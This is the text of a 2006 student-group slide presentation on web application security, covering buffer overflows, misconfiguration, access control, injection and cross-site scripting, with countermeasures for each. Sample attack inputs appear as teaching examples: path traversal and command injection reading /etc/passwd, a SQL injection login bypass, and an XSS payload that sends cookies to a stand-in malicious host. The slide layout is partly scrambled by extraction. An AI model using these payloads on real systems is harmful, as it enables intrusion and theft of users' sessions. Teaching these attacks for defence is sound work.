20061003 Grice Presentation

Web Application Security Web Application Security Greg Rice & Sean Howard Iowa State University Information Assurance Student Group


Web App Security != Network Security



Lucrative to attackers



HTTP Server Software (Apache, IIS, embedded)


Web Applications (Perl, PHP, Java, Javascript, C#)


Browsers (Mozilla, Internet Explorer, Safari)


Web Technologies and Services (HTTP, XML, SSL, SQL, RSS, cookies AJAX)


Server Operating System

Online business accounts, customer data accessible via a web browser – little chance of detection


Penetration testers report high success rates


Points of Exposure

Firewalls, encryption, antivirus, etc. have no effect on web interface

“Sure it is possible to write secure CGI scripts, but hardly anyone does. One company that audits web sites for application-level bugs like this has never found a web site they could not hack. That's 100 percent vulnerabilities.” – Schneier

Vulnerability: Buffer Overflows
Exploits regularly published for web servers and associated modules
Can be used to execute arbitrary code
Modern web applications written in C++/C# or those utilizing dynamic libraries also vulnerable to attack
Rarely uncovered, no reported incidents

(Linux, Windows)

Pen Test: Buffer Overflows

Buffer Overflow Attacks


Determine OS, Server, and Web Apps
nmap – Are other ports open?
amap – Application fingerprints
Scan for well known overflow exploits
nikto – web vulnerability scanner
wikto – windows nikto with spider\mirror
nessus


Server Countermeasure:
Regularly apply all patches (including mods!)
chroot jails \ privilege separation
Stack protection
Web App Countermeasures
Be suspicious of all string input!
Consider Java over C variants

1

Vulnerability: Misconfigurations
Server, modules, and installed apps all have default and often insecure settings
Well-known accounts and passwords
Unnecessary sample applications\libraries
Debug\error messages
Remote administrative consoles
Unused SSL certificates
Support for extraneous HTTP methods
Web accessible system files

Pen Test: Misconfigurations
nikto\wikto scanner
Determines server software and scans for common misconfigurations


Finds potentially dangerous PHP, ASP, and CGI





apps Enumerates supported HTTP methods Username guessing Periodically updated wikto integrates Google spidering

Countermeasures nikto Demonstration Scan a Local Bank’s Web Server


Enable a hardened or paranoid configuration over the default
Ex. Replace php.ini with php.ini-paranoid
Turn off server signatures
Ex. In httpd.conf: ServerSignature Off ServerTokens production


Remove all unused web scripts!
Disable all remote administration

Vulnerability: Error Handling
In the event of an error, web apps and scripts provide unnecessary information
Examples: out-of-memory, invalid login, unable to find file, database connection


Attackers use errors to identify
Internal IP addresses
System configurations
Application versions
System paths
Database connectivity

Countermeasures
Log all errors to private data file on web server or syslog server – and review!
IIS 6 error ASP.NET error reporting limited by default
Example: php.ini syslog errors display_errors = Off log_errors = On error_log = syslog ignore_repeated_errors = On

2

Vulnerability: Access Control

Pen Test: Access Control


Web apps often require authentication, but fail to implement it correctly
Ex. Webmail interface, external wikis
Extremely difficult to implement correctly


Password Cracking Tools

in custom web apps\scripts




thc-hydra




brutus




cURL





Basic HTTP authentication often allows repeated password guessing

  

Allows for dictionary and bruteforce password attacks via HTTP(S) auth HTML Form\CGI cracker Command line HTTP(S) pocket knife

nikto



Checks for common and default passwords


Search for web accessible password and other protected files



Site spidering and mirroring Google hacking


View the HTML source comments

Databases

Custom Developed Application Code APPLICATION ATTACK

Web Services

Custom Web Scripts Full of Holes but often Trusted by Protected Systems Outside the DMZ Perimeter

Legacy Systems

Cracking Demonstration

Application Layer

Web Application Exposure

Web Server Hardened OS Firewall

Firewall

Network Layer

WebGoat Tutorial?

[Image Src: OWASP.org]

Vulnerability: Input Validation

Injection CGI Example


Client determines data to pass in HTTP requests to server
Ex. Query strings, form fields, hidden

CGI\Perl Code:

fields
Scripts interpret input to generate response


Programmers too often trust the web input – fail to inspect and sanitize request

# Get username from form input # and return contents over web $filename="/safe/dir/to/read/$USER" open(FILE, $filename)

Attacker Form Input: ../../../../../../etc/passwd Solution – Validate the Input: $USER=~s/\.\.\///g;

3

Vulnerability: Command Injection
Epitomizes importance of input validation
Web app passes input to secondary interpreter
OS call, SQL database, image processor, etc


Attackers pass malicious command payload in the request to execute with server privileges

Command Injection Example CGI\Perl Code: # Get address to email form input # and return contents over web

$temp = $CGI{'email'}; $MAILER = "/usr/sbin/sendmail -t –f $temp" open(MAIL,"| $MAILER") || &ERROR('Error');

Attacker Form Input: [email protected]; cat /etc/passwd Solution – Validate the Input: $temp=~s/\;//g;

ASP/SQL Command Injection

Pen Testing: Input Validation

ASP Code:


WebScarab\Paros
Platform Independent HTTP Proxy
Intercepts and allows to user to modify all

# Check username and password var sql = "SELECT * FROM users

WHERE login = '" + formusr + "' AND password = '" + formpwd + "'"; Attacker Form Input: formusr = ' or 1=1; – – formpwd = anything Resulting Query: SELECT * FROM usersWHERE username = '' or 1=1; -- AND password = ‘anything’

HTTP requests and responses
Ability to modify field data after client-side input validation


WebScarab fuzzes for common SQL injection errors

Countermeasures Demonstration Using WebScarab to Modify Hidden Form Fields


Audit web application source - sanitize all input!
Client-side validation is irrelevant!
Reject anything not typical!
Unless required, disallow all access to interpreters
Example: php.ini config disable_functions = dl, system, mail


Use limited interfaces when possible

4

Vulnerability: Cross-Site Scripting

XSS Attack Samples


Recall web browsers execute client-side


Normal URL Query:

Javascript, Flash
Reflected XSS Attack: user input data is appears in dynamic web content without HTML encoding, allows client-side code to be injected into the dynamic page
Stored XSS Attack: malicious input data is stored on the web server and appears for all other users viewing page

http://www.host.com/query.php?var=insecure


XSS Attack Query: http://www.host.com/query.php?var=‘’> <script>document.location=‘ http://www.malicioussite.com/cgi-bin /cookietheft.cgi?'%20+document.cookie

Pen Testing: XSS Attacks
WebScarab\Paros
Identify if header, cookie, query string, form field, or hidden field data appears in any dynmaic content without HTML encoding
WebScarab fuzzes for common XSS injection errors

Countermeasures
Avoid opening remote files when possible
Example: php.ini config allow_url_fopen = Off


Define allowable input strings and inspect any user-supplied data – COMPLEX!
HTML encode output

XSS Attack Demo WebGoat?

Future of Web Security
Embedded web server attacks
AJAX exploits
Increase in attack surface
Client-side attacks, autonomous XSS
Ex. MySpace.com Attack


Allows repudiation\forgery of requests
Injection through bridging
Hype means a rush to implement

5

Best Practices
Maintain server and commercial web apps with any patches
Never trust user input – even when client-side validation enabled
Disable any additional unneeded services or apps
Learn more – WebGoat, OWASP
Assess and audit

6